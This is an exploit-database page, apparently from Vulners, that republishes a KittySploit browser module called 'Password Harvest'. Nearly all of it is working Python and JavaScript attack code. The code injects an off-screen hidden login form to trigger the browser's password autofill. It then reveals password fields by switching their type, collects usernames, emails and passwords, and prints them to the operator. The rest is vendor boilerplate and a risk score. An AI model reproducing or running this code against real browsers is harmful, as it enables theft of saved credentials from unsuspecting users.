Lucene search
+L

Password Harvest

🗓️ 24 Jan 2026 22:19:45Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

KittySploit Password Harvest extracts browser autofill passwords via hidden fields.

Refs
Code
from kittysploit import *
import json
import time

class Module(BrowserAuxiliary):

	__info__ = {
		"name": "Password Harvest",
		"description": "Extract saved passwords from browser autofill by revealing hidden password fields",
		"author": "KittySploit Team",
		"browser": Browser.ALL,
		"platform": Platform.ALL,
		"session_type": SessionType.BROWSER,
	}	

	wait_time = OptInteger(3, "Time to wait for autofill to trigger (seconds)", False)
	scan_all_forms = OptString("true", "Scan all forms on the page (true/false)", False)

	def run(self):
		"""Extract passwords from browser autofill"""
		
		code_js = """
		(function() {
			const results = {
				forms: [],
				credentials: []
			};
			
			try {
				// Find all forms on the page
				const forms = document.querySelectorAll('form');
				
				if (forms.length === 0) {
					// Create a hidden form to trigger autofill
					const hiddenForm = document.createElement('form');
					hiddenForm.style.position = 'absolute';
					hiddenForm.style.left = '-9999px';
					hiddenForm.style.top = '-9999px';
					
					const usernameInput = document.createElement('input');
					usernameInput.type = 'text';
					usernameInput.name = 'username';
					usernameInput.autocomplete = 'username';
					usernameInput.id = 'ks_username';
					
					const passwordInput = document.createElement('input');
					passwordInput.type = 'password';
					passwordInput.name = 'password';
					passwordInput.autocomplete = 'current-password';
					passwordInput.id = 'ks_password';
					
					const emailInput = document.createElement('input');
					emailInput.type = 'email';
					emailInput.name = 'email';
					emailInput.autocomplete = 'email';
					emailInput.id = 'ks_email';
					
					hiddenForm.appendChild(usernameInput);
					hiddenForm.appendChild(passwordInput);
					hiddenForm.appendChild(emailInput);
					document.body.appendChild(hiddenForm);
					
					// Focus on username to trigger autofill
					usernameInput.focus();
					
					results.forms.push({
						type: 'hidden_created',
						username_id: 'ks_username',
						password_id: 'ks_password',
						email_id: 'ks_email'
					});
				} else {
					// Scan existing forms
					forms.forEach((form, index) => {
						const formData = {
							index: index,
							action: form.action || '',
							method: form.method || 'get',
							inputs: []
						};
						
						const inputs = form.querySelectorAll('input');
						inputs.forEach(input => {
							const inputData = {
								type: input.type,
								name: input.name || '',
								id: input.id || '',
								autocomplete: input.autocomplete || '',
								value: input.type === 'password' ? '[HIDDEN]' : input.value
							};
							formData.inputs.push(inputData);
						});
						
						results.forms.push(formData);
					});
				}
				
				return JSON.stringify(results);
			} catch (e) {
				return JSON.stringify({
					error: e.message,
					forms: [],
					credentials: []
				});
			}
		})();
		"""
		
		print_status("Scanning page for forms and password fields...")
		initial_result = self.send_js_and_wait_for_response(code_js, timeout=5.0)
		
		if not initial_result:
			print_error("Failed to scan page for forms")
			return False
		
		try:
			initial_data = json.loads(initial_result)
			forms = initial_data.get('forms', [])
			
			if not forms:
				print_warning("No forms found on the page")
				return False
			
			print_success(f"Found {len(forms)} form(s) on the page")
			
			# Wait for autofill to potentially trigger
			if self.wait_time > 0:
				print_status(f"Waiting {self.wait_time} second(s) for autofill to trigger...")
				time.sleep(self.wait_time)
			
			# Now extract the actual values
			extract_js = """
			(function() {
				const credentials = [];
				
				try {
					// Check hidden form if it was created
					const hiddenUsername = document.getElementById('ks_username');
					const hiddenPassword = document.getElementById('ks_password');
					const hiddenEmail = document.getElementById('ks_email');
					
					if (hiddenUsername && hiddenPassword) {
						const username = hiddenUsername.value || '';
						const password = hiddenPassword.value || '';
						const email = hiddenEmail ? hiddenEmail.value || '' : '';
						
						if (username || password || email) {
							credentials.push({
								source: 'hidden_form',
								username: username,
								password: password,
								email: email
							});
						}
					}
					
					// Scan all password fields and reveal them
					const passwordFields = document.querySelectorAll('input[type="password"]');
					passwordFields.forEach((pwdField, index) => {
						// Temporarily change type to text to reveal password
						const originalType = pwdField.type;
						pwdField.type = 'text';
						
						const password = pwdField.value || '';
						
						// Find associated username/email field
						let username = '';
						let email = '';
						
						// Try to find username field in the same form
						const form = pwdField.form;
						if (form) {
							const usernameFields = form.querySelectorAll('input[type="text"], input[type="email"], input[name*="user"], input[name*="login"], input[name*="email"]');
							if (usernameFields.length > 0) {
								username = usernameFields[0].value || '';
							}
						}
						
						// Try to find by common patterns
						if (!username) {
							const prevInput = pwdField.previousElementSibling;
							if (prevInput && (prevInput.type === 'text' || prevInput.type === 'email')) {
								username = prevInput.value || '';
							}
						}
						
						if (password) {
							credentials.push({
								source: `password_field_${index}`,
								username: username,
								password: password,
								email: email,
								field_name: pwdField.name || '',
								field_id: pwdField.id || ''
							});
						}
						
						// Restore original type
						pwdField.type = originalType;
					});
					
					// Also check for any visible password fields that might have been auto-filled
					const allInputs = document.querySelectorAll('input');
					allInputs.forEach(input => {
						if (input.type === 'text' && input.value && 
						    (input.name && (input.name.toLowerCase().includes('pass') || 
						                    input.name.toLowerCase().includes('pwd')))) {
							credentials.push({
								source: 'visible_password_field',
								username: '',
								password: input.value,
								field_name: input.name || '',
								field_id: input.id || ''
							});
						}
					});
					
					return JSON.stringify({
						credentials: credentials,
						count: credentials.length
					});
				} catch (e) {
					return JSON.stringify({
						error: e.message,
						credentials: [],
						count: 0
					});
				}
			})();
			"""
			
			print_status("Extracting password values...")
			extract_result = self.send_js_and_wait_for_response(extract_js, timeout=5.0)
			
			if not extract_result:
				print_error("Failed to extract password values")
				return False
			
			extract_data = json.loads(extract_result)
			credentials = extract_data.get('credentials', [])
			count = extract_data.get('count', 0)
			
			if count == 0:
				print_warning("No passwords found in autofill or password fields")
				return True
			
			print_success(f"Found {count} credential(s):")
			print_info("=" * 80)
			
			for i, cred in enumerate(credentials, 1):
				print_info(f"Credential #{i}:")
				print_info(f"  Source: {cred.get('source', 'unknown')}")
				
				if cred.get('username'):
					print_success(f"  Username: {cred.get('username')}")
				if cred.get('email'):
					print_success(f"  Email: {cred.get('email')}")
				if cred.get('password'):
					print_success(f"  Password: {cred.get('password')}")
				if cred.get('field_name'):
					print_info(f"  Field Name: {cred.get('field_name')}")
				if cred.get('field_id'):
					print_info(f"  Field ID: {cred.get('field_id')}")
				
				print_info("-" * 80)
			
			# Print JSON summary
			print_info("=" * 80)
			print_status("Full credentials data (JSON):")
			print_info(json.dumps(credentials, indent=2))
			
			return True
			
		except json.JSONDecodeError as e:
			print_error(f"Failed to parse form data: {e}")
			print_debug(f"Raw response: {initial_result}")
			return False
		except Exception as e:
			print_error(f"Error processing password harvest: {e}")
			return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jan 2026 22:19Current
5.8Medium risk
Vulners AI Score5.8
0